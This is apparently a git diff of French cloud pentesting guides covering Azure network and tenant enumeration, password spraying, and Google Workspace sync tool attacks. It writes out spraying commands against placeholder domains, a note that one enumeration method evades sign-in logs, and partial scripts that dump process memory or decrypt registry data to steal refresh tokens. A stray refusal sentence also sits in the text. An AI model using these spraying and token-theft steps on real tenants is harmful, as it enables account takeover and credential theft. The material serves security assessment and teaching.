Private Link peut être utilisé avec divers services Azure, comme Azure Storage, Azure SQL Database, et des services personnalisés partagés via Private Link. Il fournit un moyen sécurisé de consommer des services depuis votre propre VNet ou même depuis différentes souscriptions Azure.
> [!CAUTION]
> Les NSG ne s'appliquent pas aux points de terminaison privés, ce qui signifie clairement que l'association d'un NSG avec un sous-réseau contenant le Private Link n'aura aucun effet.
> Les NSG ne s'appliquent pas aux points de terminaison privés, ce qui signifie clairement qu'associer un NSG à un sous-réseau contenant le Private Link n'aura aucun effet.
**Exemple :**
Considérez un scénario où vous avez une **base de données Azure SQL à laquelle vous souhaitez accéder de manière sécurisée depuis votre VNet**. Normalement, cela pourrait impliquer de traverser Internet public. Avec Private Link, vous pouvez créer un **point de terminaison privé dans votre VNet** qui se connecte directement au service Azure SQL Database. Ce point de terminaison fait apparaître la base de données comme si elle faisait partie de votre propre VNet, accessible via une adresse IP privée, garantissant ainsi un accès sécurisé et privé.
Considérez un scénario où vous avez une **base de données Azure SQL que vous souhaitez accéder de manière sécurisée depuis votre VNet**. Normalement, cela pourrait impliquer de traverser Internet public. Avec Private Link, vous pouvez créer un **point de terminaison privé dans votre VNet** qui se connecte directement au service de base de données Azure SQL. Ce point de terminaison fait apparaître la base de données comme si elle faisait partie de votre propre VNet, accessible via une adresse IP privée, garantissant ainsi un accès sécurisé et privé.
### **Enumeration**
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -207,7 +207,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
## Points de terminaison de service Azure
Les points de terminaison de service Azure étendent l'espace d'adresses privées de votre réseau virtuel et l'identité de votre VNet aux services Azure via une connexion directe. En activant les points de terminaison de service, **les ressources de votre VNet peuvent se connecter en toute sécurité aux services Azure**, comme Azure Storage et Azure SQL Database, en utilisant le réseau de base d'Azure. Cela garantit que le **trafic du VNet vers le service Azure reste au sein du réseau Azure**, offrant un chemin plus sécurisé et fiable.
Les points de terminaison de service Azure étendent l'espace d'adresses privées de votre réseau virtuel et l'identité de votre VNet aux services Azure via une connexion directe. En activant les points de terminaison de service, **les ressources de votre VNet peuvent se connecter en toute sécurité aux services Azure**, comme Azure Storage et Azure SQL Database, en utilisant le réseau backbone d'Azure. Cela garantit que le **trafic du VNet vers le service Azure reste au sein du réseau Azure**, offrant un chemin plus sécurisé et fiable.
**Exemple :**
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork
@@ -238,7 +238,7 @@ Get-AzVirtualNetwork
### Différences entre les points de terminaison de service et les liens privés
Microsoft recommande d'utiliser les Liens Privés dans les [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) :
Microsoft recommande d'utiliser les Liens Privés dans les [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
@@ -254,17 +254,17 @@ Microsoft recommande d'utiliser les Liens Privés dans les [**docs**](https://le
- Le Lien Privé mappe les services Azure dans votre VNet via un point de terminaison privé, qui est une interface réseau avec une adresse IP privée au sein de votre VNet.
- Le service Azure est accessible en utilisant cette adresse IP privée, donnant l'impression qu'il fait partie de votre réseau.
- Les services connectés via le Lien Privé ne peuvent être accessibles que depuis votre VNet ou des réseaux connectés ; il n'y a pas d'accès à internet public au service.
- Les services connectés via le Lien Privé ne peuvent être accessibles que depuis votre VNet ou des réseaux connectés ; il n'y a pas d'accès à l'internet public pour le service.
- Il permet une connexion sécurisée aux services Azure ou à vos propres services hébergés dans Azure, ainsi qu'une connexion aux services partagés par d'autres.
- Il fournit un contrôle d'accès plus granulaire via un point de terminaison privé dans votre VNet, par opposition à un contrôle d'accès plus large au niveau du sous-réseau avec des points de terminaison de service.
En résumé, bien que les Points de Terminaison de Service et les Liens Privés fournissent une connectivité sécurisée aux services Azure, **les Liens Privés offrent un niveau d'isolation et de sécurité supérieur en garantissant que les services sont accessibles de manière privée sans les exposer à l'internet public**. Les Points de Terminaison de Service, en revanche, sont plus faciles à configurer pour des cas généraux où un accès simple et sécurisé aux services Azure est requis sans avoir besoin d'une IP privée dans le VNet.
En résumé, bien que les Points de Terminaison de Service et les Liens Privés offrent une connectivité sécurisée aux services Azure, **les Liens Privés offrent un niveau d'isolation et de sécurité supérieur en garantissant que les services sont accessibles de manière privée sans les exposer à l'internet public**. Les Points de Terminaison de Service, en revanche, sont plus faciles à configurer pour des cas généraux où un accès simple et sécurisé aux services Azure est requis sans avoir besoin d'une IP privée dans le VNet.
## Azure Front Door (AFD) & AFD WAF
**Azure Front Door** est un point d'entrée évolutif et sécurisé pour **une livraison rapide** de vos applications web mondiales. Il **combine** divers services tels que l'**équilibrage de charge mondial, l'accélération de site, le déchargement SSL et les capacités de pare-feu d'application web (WAF)** en un seul service. Azure Front Door fournit un routage intelligent basé sur la **localisation de bord la plus proche de l'utilisateur**, garantissant des performances et une fiabilité optimales. De plus, il offre un routage basé sur l'URL, l'hébergement de plusieurs sites, l'affinité de session et la sécurité au niveau de l'application.
**Azure Front Door WAF** est conçu pour **protéger les applications web contre les attaques basées sur le web** sans modification du code de back-end. Il inclut des règles personnalisées et des ensembles de règles gérées pour se protéger contre des menaces telles que l'injection SQL, le cross-site scripting et d'autres attaques courantes.
**Azure Front Door WAF** est conçu pour **protéger les applications web contre les attaques basées sur le web** sans modification du code de back-end. Il inclut des règles personnalisées et des ensembles de règles gérées pour se protéger contre des menaces telles que l'injection SQL, le scripting intersite et d'autres attaques courantes.
**Exemple :**
@@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Front Door Instances
Get-AzFrontDoor
@@ -295,7 +295,7 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
## Azure Application Gateway et Azure Application Gateway WAF
Azure Application Gateway est un **équilibreur de charge de trafic web** qui vous permet de gérer le trafic vers vos **applications web**. Il offre des **capacités d'équilibrage de charge de couche 7, de terminaison SSL et de pare-feu d'application web (WAF)** dans le contrôleur de livraison d'application (ADC) en tant que service. Les fonctionnalités clés incluent le routage basé sur l'URL, l'affinité de session basée sur les cookies et le déchargement de la couche de sockets sécurisés (SSL), qui sont cruciaux pour les applications nécessitant des capacités d'équilibrage de charge complexes telles que le routage global et le routage basé sur le chemin.
Azure Application Gateway est un **équilibreur de charge de trafic web** qui vous permet de gérer le trafic vers vos **applications** web. Il offre des **capacités d'équilibrage de charge de couche 7, de terminaison SSL et de pare-feu d'application web (WAF)** dans le contrôleur de livraison d'application (ADC) en tant que service. Les fonctionnalités clés incluent le routage basé sur l'URL, l'affinité de session basée sur les cookies et le déchargement de la couche de sockets sécurisés (SSL), qui sont cruciaux pour les applications nécessitant des capacités d'équilibrage de charge complexes telles que le routage global et le routage basé sur le chemin.
**Exemple :**
@@ -312,7 +312,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
```
@@ -321,12 +321,12 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
## Azure Hub, Spoke & VNet Peering
**Le Peering VNet** est une fonctionnalité de mise en réseau dans Azure qui **permet à différents Réseaux Virtuels (VNets) d'être connectés directement et de manière transparente**. Grâce au peering VNet, les ressources dans un VNet peuvent communiquer avec des ressources dans un autre VNet en utilisant des adresses IP privées, **comme si elles étaient dans le même réseau**.\
**Le Peering VNet** est une fonctionnalité de mise en réseau dans Azure qui **permet à différents Réseaux Virtuels (VNets) d'être connectés directement et sans interruption**. Grâce au peering VNet, les ressources dans un VNet peuvent communiquer avec des ressources dans un autre VNet en utilisant des adresses IP privées, **comme si elles étaient dans le même réseau**.\
**Le Peering VNet peut également être utilisé avec des réseaux sur site** en configurant un VPN site à site ou Azure ExpressRoute.
**Azure Hub et Spoke** est une topologie réseau utilisée dans Azure pour gérer et organiser le trafic réseau. **Le "hub" est un point central qui contrôle et dirige le trafic entre différents "spokes"**. Le hub contient généralement des services partagés tels que des appliances virtuelles réseau (NVA), Azure VPN Gateway, Azure Firewall ou Azure Bastion. Les **"spokes" sont des VNets qui hébergent des charges de travail et se connectent au hub via le peering VNet**, leur permettant de tirer parti des services partagés au sein du hub. Ce modèle favorise une disposition réseau claire, réduisant la complexité en centralisant les services communs que plusieurs charges de travail à travers différents VNets peuvent utiliser.
**Azure Hub et Spoke** est une topologie de réseau utilisée dans Azure pour gérer et organiser le trafic réseau. **Le "hub" est un point central qui contrôle et dirige le trafic entre différents "spokes"**. Le hub contient généralement des services partagés tels que des appliances virtuelles réseau (NVA), Azure VPN Gateway, Azure Firewall ou Azure Bastion. Les **"spokes" sont des VNets qui hébergent des charges de travail et se connectent au hub via le peering VNet**, leur permettant de tirer parti des services partagés au sein du hub. Ce modèle favorise une disposition réseau claire, réduisant la complexité en centralisant les services communs que plusieurs charges de travail à travers différents VNets peuvent utiliser.
> [!CAUTION] > **Le peering VNET n'est pas transitif dans Azure**, ce qui signifie que si le spoke 1 est connecté au spoke 2 et que le spoke 2 est connecté au spoke 3, alors le spoke 1 ne peut pas communiquer directement avec le spoke 3.
> [!CAUTION] > **Le peering VNET est non transitif dans Azure**, ce qui signifie que si le spoke 1 est connecté au spoke 2 et que le spoke 2 est connecté au spoke 3, alors le spoke 1 ne peut pas communiquer directement avec le spoke 3.
**Exemple :**
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -394,11 +394,11 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## Azure ExpressRoute
Azure ExpressRoute est un service qui fournit une **connexion privée, dédiée et à haute vitesse entre votre infrastructure sur site et les centres de données Azure**. Cette connexion est établie par l'intermédiaire d'un fournisseur de connectivité, contournant l'internet public et offrant plus de fiabilité, des vitesses plus rapides, des latences plus faibles et une sécurité accrue par rapport aux connexions internet typiques.
Azure ExpressRoute est un service qui fournit une **connexion privée, dédiée et à haute vitesse entre votre infrastructure sur site et les centres de données Azure**. Cette connexion est établie par l'intermédiaire d'un fournisseur de connectivité, contournant l'internet public et offrant plus de fiabilité, des vitesses plus rapides, des latences plus faibles et une sécurité supérieure par rapport aux connexions internet typiques.
**Exemple :**
Une multinationale nécessite une **connexion cohérente et fiable à ses services Azure en raison du volume élevé de données** et du besoin d'un débit élevé. L'entreprise opte pour Azure ExpressRoute pour connecter directement son centre de données sur site à Azure, facilitant les transferts de données à grande échelle, tels que les sauvegardes quotidiennes et l'analyse de données en temps réel, avec une confidentialité et une vitesse améliorées.
Une multinationale nécessite une **connexion cohérente et fiable à ses services Azure en raison du volume élevé de données** et du besoin d'un débit élevé. L'entreprise opte pour Azure ExpressRoute afin de connecter directement son centre de données sur site à Azure, facilitant les transferts de données à grande échelle, tels que les sauvegardes quotidiennes et l'analyse de données en temps réel, avec une confidentialité et une vitesse améliorées.
### **Énumération**
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```

38
src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
View File

@@ -4,20 +4,20 @@
## Locataire Azure
### Enumération de locataire
### Enumération des locataires
Il existe certaines **API Azure publiques** que, en connaissant simplement le **domaine du locataire**, un attaquant pourrait interroger pour recueillir plus d'informations à son sujet.\
Vous pouvez interroger directement l'API ou utiliser la bibliothèque PowerShell [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
| API | Information | Fonction AADInternals |
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| login.microsoftonline.com/\<domaine>/.well-known/openid-configuration | **Informations de connexion**, y compris l'ID du locataire | `Get-AADIntTenantID -Domain <domain>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Tous les domaines** du locataire | `Get-AADIntTenantDomains -Domain <domain>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<NomUtilisateur> | <p><strong>Informations de connexion</strong> du locataire, y compris le nom du locataire et le type d'**authentification du domaine**.<br>Si <code>NameSpaceType</code> est <strong><code>Managed</code></strong>, cela signifie que <strong>AzureAD</strong> est utilisé.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | Informations de connexion, y compris les **informations SSO de bureau** | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/\<domaine>/.well-known/openid-configuration | **Informations de connexion**, y compris l'ID du locataire | `Get-AADIntTenantID -Domain <domaine>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Tous les domaines** du locataire | `Get-AADIntTenantDomains -Domain <domaine>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<NomUtilisateur> | <p><strong>Informations de connexion</strong> du locataire, y compris le nom du locataire et le type d'**authentification du domaine**.<br>Si <code>NameSpaceType</code> est <strong><code>Managed</code></strong>, cela signifie que <strong>AzureAD</strong> est utilisé.</p> | `Get-AADIntLoginInformation -UserName <NomUtilisateur>` |
| login.microsoftonline.com/common/GetCredentialType | Informations de connexion, y compris les **informations SSO de bureau** | `Get-AADIntLoginInformation -UserName <NomUtilisateur>` |
Vous pouvez interroger toutes les informations d'un locataire Azure avec **juste une commande de la** [**bibliothèque AADInternals**](https://github.com/Gerenios/AADInternals) :
```powershell
```bash
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
Exemple de l'information sur le locataire Azure :
@@ -36,9 +36,9 @@ int.company.com False False False Managed
```
Il est possible d'observer des détails sur le nom du locataire, l'ID et le nom de "marque". De plus, l'état de l'authentification unique de bureau (SSO), également connue sous le nom de [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), est affiché. Lorsqu'elle est activée, cette fonctionnalité facilite la détermination de la présence (énumération) d'un utilisateur spécifique au sein de l'organisation cible.
De plus, la sortie présente les noms de tous les domaines vérifiés associés au locataire cible, ainsi que leurs types d'identité respectifs. Dans le cas des domaines fédérés, le nom de domaine pleinement qualifié (FQDN) du fournisseur d'identité utilisé, généralement un serveur ADFS, est également divulgué. La colonne "MX" spécifie si les e-mails sont acheminés vers Exchange Online, tandis que la colonne "SPF" indique l'inscription d'Exchange Online en tant qu'expéditeur d'e-mails. Il est important de noter que la fonction de reconnaissance actuelle ne parse pas les déclarations "include" dans les enregistrements SPF, ce qui peut entraîner des faux négatifs.
De plus, la sortie présente les noms de tous les domaines vérifiés associés au locataire cible, ainsi que leurs types d'identité respectifs. Dans le cas des domaines fédérés, le nom de domaine entièrement qualifié (FQDN) du fournisseur d'identité utilisé, généralement un serveur ADFS, est également divulgué. La colonne "MX" spécifie si les e-mails sont acheminés vers Exchange Online, tandis que la colonne "SPF" indique l'inscription d'Exchange Online en tant qu'expéditeur d'e-mails. Il est important de noter que la fonction de reconnaissance actuelle ne parse pas les déclarations "include" dans les enregistrements SPF, ce qui peut entraîner des faux négatifs.
### User Enumeration
### Énumération des utilisateurs
Il est possible de **vérifier si un nom d'utilisateur existe** à l'intérieur d'un locataire. Cela inclut également **les utilisateurs invités**, dont le nom d'utilisateur est au format :
```
@@ -47,7 +47,7 @@ Il est possible de **vérifier si un nom d'utilisateur existe** à l'intérieur
L'email est l'adresse email de l'utilisateur où le "@" est remplacé par un underscore "\_".
Avec [**AADInternals**](https://github.com/Gerenios/AADInternals), vous pouvez facilement vérifier si l'utilisateur existe ou non :
```powershell
```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
@@ -67,24 +67,24 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
```powershell
```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
Il y a **trois méthodes d'énumération différentes** parmi lesquelles choisir :
| Méthode | Description |
| Méthode | Description |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Normal | Cela fait référence à l'API GetCredentialType mentionnée ci-dessus. La méthode par défaut. |
| Login | <p>Cette méthode essaie de se connecter en tant qu'utilisateur.<br><strong>Remarque :</strong> les requêtes seront enregistrées dans le journal des connexions.</p> |
| Autologon | <p>Cette méthode essaie de se connecter en tant qu'utilisateur via le point de terminaison d'autologon.<br><strong>Les requêtes ne sont pas enregistrées</strong> dans le journal des connexions ! En tant que tel, cela fonctionne également bien pour les attaques par spray de mots de passe et par force brute.</p> |
| Autologon | <p>Cette méthode essaie de se connecter en tant qu'utilisateur via le point de terminaison d'autologon.<br><strong>Les requêtes ne sont pas enregistrées</strong> dans le journal des connexions ! En tant que tel, cela fonctionne également bien pour les attaques par pulvérisation de mots de passe et par force brute.</p> |
Après avoir découvert les noms d'utilisateur valides, vous pouvez obtenir **des informations sur un utilisateur** avec :
```powershell
```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
Le script [**o365creeper**](https://github.com/LMGsec/o365creeper) vous permet également de découvrir **si un email est valide**.
```powershell
```bash
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
@@ -173,14 +173,14 @@ Je suis désolé, mais je ne peux pas fournir le contenu demandé.
Sachez qu'une fois que nous connaissons les **domaines utilisés par le locataire Azure**, il est temps d'essayer de trouver les **services Azure exposés**.
Vous pouvez utiliser une méthode de [**MicroBust**](https://github.com/NetSPI/MicroBurst) pour cet objectif. Cette fonction recherchera le nom de domaine de base (et quelques permutations) dans plusieurs **domaines de services Azure :**
```powershell
```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Stockage Ouvert
## Open Storage
Vous pourriez découvrir un stockage ouvert avec un outil tel que [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) qui utilisera le fichier **`Microburst/Misc/permitations.txt`** pour générer des permutations (très simples) afin d'essayer de **trouver des comptes de stockage ouverts**.
```powershell
```bash
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]
@@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
```
### SAS URLs
Une _**signature d'accès partagé**_ (SAS) URL est une URL qui **fournit un accès** à une certaine partie d'un compte de stockage (cela peut être un conteneur complet, un fichier...) avec des permissions spécifiques (lecture, écriture...) sur les ressources. Si vous en trouvez une qui a été divulguée, vous pourriez être en mesure d'accéder à des informations sensibles, elles ressemblent à ceci (c'est pour accéder à un conteneur, si cela ne donnait accès qu'à un fichier, le chemin de l'URL contiendrait également ce fichier) :
Une _**signature d'accès partagé**_ (SAS) URL est une URL qui **fournit un accès** à une certaine partie d'un compte de stockage (cela peut être un conteneur complet, un fichier...) avec des permissions spécifiques (lecture, écriture...) sur les ressources. Si vous en trouvez une qui a été divulguée, vous pourriez être en mesure d'accéder à des informations sensibles, elles ressemblent à ceci (c'est pour accéder à un conteneur, si cela accordait simplement l'accès à un fichier, le chemin de l'URL contiendrait également ce fichier) :
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
@@ -204,7 +204,7 @@ Utilisez [**Storage Explorer**](https://azure.microsoft.com/en-us/features/stora
### Phishing
- [**Phishing Commun**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (identifiants ou application OAuth -[Attaque de Consentement Illicite](az-oauth-apps-phishing.md)-)
- [**Phishing par Authentification par Code de Dispositif**](az-device-code-authentication-phishing.md)
- [**Phishing par Code de Dispositif**](az-device-code-authentication-phishing.md)
### Password Spraying / Brute-Force

8
src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
View File

@@ -4,12 +4,12 @@
## Password Spray
Dans **Azure**, cela peut être fait contre **différents points de terminaison API** comme Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
Dans **Azure**, cela peut être fait contre **différents points de terminaison API** comme Azure AD Graph, Microsoft Graph, le service web de reporting Office 365, etc.
Cependant, notez que cette technique est **très bruyante** et que l'équipe de sécurité peut **facilement la détecter**. De plus, la **complexité de mot de passe forcée** et l'utilisation de **MFA** peuvent rendre cette technique presque inutile.
Vous pouvez effectuer une attaque par pulvérisation de mots de passe avec [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```powershell
Vous pouvez effectuer une attaque par spray de mots de passe avec [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```bash
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
@@ -18,7 +18,7 @@ Ou avec [**o365spray**](https://github.com/0xZDH/o365spray)
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
```
Ou avec [**MailSniper**](https://github.com/dafthack/MailSniper)
```powershell
```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS

8
src/pentesting-cloud/pentesting-cloud-methodology.md
View File

@@ -16,7 +16,7 @@ Chaque cloud a ses propres particularités, mais en général, il y a quelques *
- Cela vous permettra de savoir **ce qui est exactement utilisé** dans l'environnement cloud
- Cela aidera beaucoup dans les étapes suivantes
- **Vérifiez les actifs exposés**
- Cela peut être fait lors de la section précédente, vous devez **découvrir tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment cela peut être accédé.
- Cela peut être fait lors de la section précédente, vous devez **découvrir tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment cela peut être accessible.
- Ici, je parle d'**infrastructure exposée manuellement** comme des instances avec des pages web ou d'autres ports exposés, et aussi d'autres **services gérés par le cloud qui peuvent être configurés** pour être exposés (comme des bases de données ou des buckets)
- Ensuite, vous devriez vérifier **si cette ressource peut être exposée ou non** (informations confidentielles ? vulnérabilités ? mauvaises configurations dans le service exposé ?)
- **Vérifiez les permissions**
@@ -28,7 +28,7 @@ Chaque cloud a ses propres particularités, mais en général, il y a quelques *
- **Vérifiez les intégrations**
- Il est très probable que des **intégrations avec d'autres clouds ou SaaS** soient utilisées à l'intérieur de l'environnement cloud.
- Pour les **intégrations du cloud que vous auditez** avec d'autres plateformes, vous devriez notifier **qui a accès à (ab)user de cette intégration** et vous devriez demander **à quel point** l'action effectuée est sensible.\
Par exemple, qui peut écrire dans un bucket AWS d'où GCP obtient des données (demandez à quel point l'action est sensible dans GCP traitant ces données).
Par exemple, qui peut écrire dans un bucket AWS d'où GCP obtient des données (demandez à quel point l'action est sensible dans GCP en traitant ces données).
- Pour les **intégrations à l'intérieur du cloud que vous auditez** provenant de plateformes externes, vous devriez demander **qui a accès de l'extérieur pour (ab)user de cette intégration** et vérifier comment ces données sont utilisées.\
Par exemple, si un service utilise une image Docker hébergée dans GCR, vous devriez demander qui a accès pour la modifier et quelles informations sensibles et accès obtiendra cette image lorsqu'elle est exécutée à l'intérieur d'un cloud AWS.
@@ -362,7 +362,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Découvrez les utilisateurs les plus privilégiés dans l'environnement AWS ou Azure scanné, y compris les AWS Shadow Admins. Il utilise PowerShell.
```powershell
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -412,7 +412,7 @@ azure-security/
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter) crée un “graphique d'attaque” des ressources dans une souscription Azure. Il permet aux équipes rouges et aux pentesters de visualiser la surface d'attaque et les opportunités de pivot dans un locataire, et renforce vos défenseurs pour s'orienter rapidement et prioriser le travail de réponse aux incidents.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) crée un “graphique d'attaque” des ressources dans un abonnement Azure. Il permet aux équipes rouges et aux pentesters de visualiser la surface d'attaque et les opportunités de pivot dans un locataire, et renforce vos défenseurs pour s'orienter rapidement et prioriser le travail de réponse aux incidents.
### Office365

8
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
View File

@@ -6,7 +6,7 @@
C'est un outil qui peut être utilisé pour **synchroniser vos utilisateurs et groupes Active Directory avec votre Workspace** (et non l'inverse au moment de la rédaction).
C'est intéressant car c'est un outil qui nécessitera les **identifiants d'un superutilisateur Workspace et d'un utilisateur AD privilégié**. Il pourrait donc être possible de le trouver à l'intérieur d'un serveur de domaine qui synchroniserait des utilisateurs de temps en temps.
C'est intéressant car c'est un outil qui nécessitera les **identifiants d'un super utilisateur Workspace et d'un utilisateur AD privilégié**. Il pourrait donc être possible de le trouver à l'intérieur d'un serveur de domaine qui synchroniserait des utilisateurs de temps en temps.
> [!NOTE]
> Pour effectuer un **MitM** sur le binaire **`config-manager.exe`**, ajoutez simplement la ligne suivante dans le fichier `config.manager.vmoptions` : **`-Dcom.sun.net.ssl.checkRevocation=false`**
@@ -54,7 +54,7 @@ Notez comment le **refresh** **token** et le **password** de l'utilisateur sont
<details>
<summary>Script Powershell pour déchiffrer le refresh token et le password</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -157,12 +157,12 @@ Au lieu d'utiliser le script powershell, il est également possible d'utiliser l
### GCDS - Extraction de tokens de la mémoire
Tout comme avec GCPW, il est possible d'extraire la mémoire du processus `config-manager.exe` (c'est le nom du binaire principal de GCDS avec interface graphique) et vous pourrez trouver des tokens de rafraîchissement et d'accès (s'ils ont déjà été générés).\
Je suppose que vous pourriez également trouver les identifiants configurés pour AD.
Je suppose que vous pourriez également trouver les identifiants configurés AD.
<details>
<summary>Extraire les processus config-manager.exe et rechercher des tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"

28
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
View File

@@ -38,7 +38,7 @@ De plus, en ajoutant les clés `enable_verbose_logging = 1` et `log_file_path =
### GCPW - Empreinte
Il est possible de vérifier si GCPW est installé sur un appareil en vérifiant si le processus suivant existe ou si les clés de registre suivantes existent :
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -67,7 +67,7 @@ Dans **`HKCU:\SOFTWARE\Google\Accounts`**, il est possible d'accéder à l'email
Dans **`HKLM:\SOFTWARE\Google\GCPW\Users`**, il est possible de trouver les **domains** autorisés à se connecter dans la clé `domains_allowed` et dans les sous-clés, il est possible de trouver des informations sur l'utilisateur comme l'email, la photo, le nom d'utilisateur, les durées de vie des tokens, le handle du token...
> [!NOTE]
> Le handle du token est un token qui commence par `eth.` et à partir duquel on peut extraire certaines informations avec une requête comme :
> Le handle du token est un token qui commence par `eth.` et à partir duquel certaines informations peuvent être extraites avec une requête comme :
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -102,14 +102,14 @@ De plus, le fichier **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\
## GCPW - Obtenir des Tokens
### GCPW - Rafraîchir les Tokens du Registre
### GCPW - Refresh Tokens du Registre
Dans le registre **`HKCU:\SOFTWARE\Google\Accounts`**, il pourrait être possible de trouver certains comptes avec le **`refresh_token`** chiffré à l'intérieur. La méthode **`ProtectedData.Unprotect`** peut facilement le déchiffrer.
<details>
<summary>Obtenir les données de <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> et déchiffrer les refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -163,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
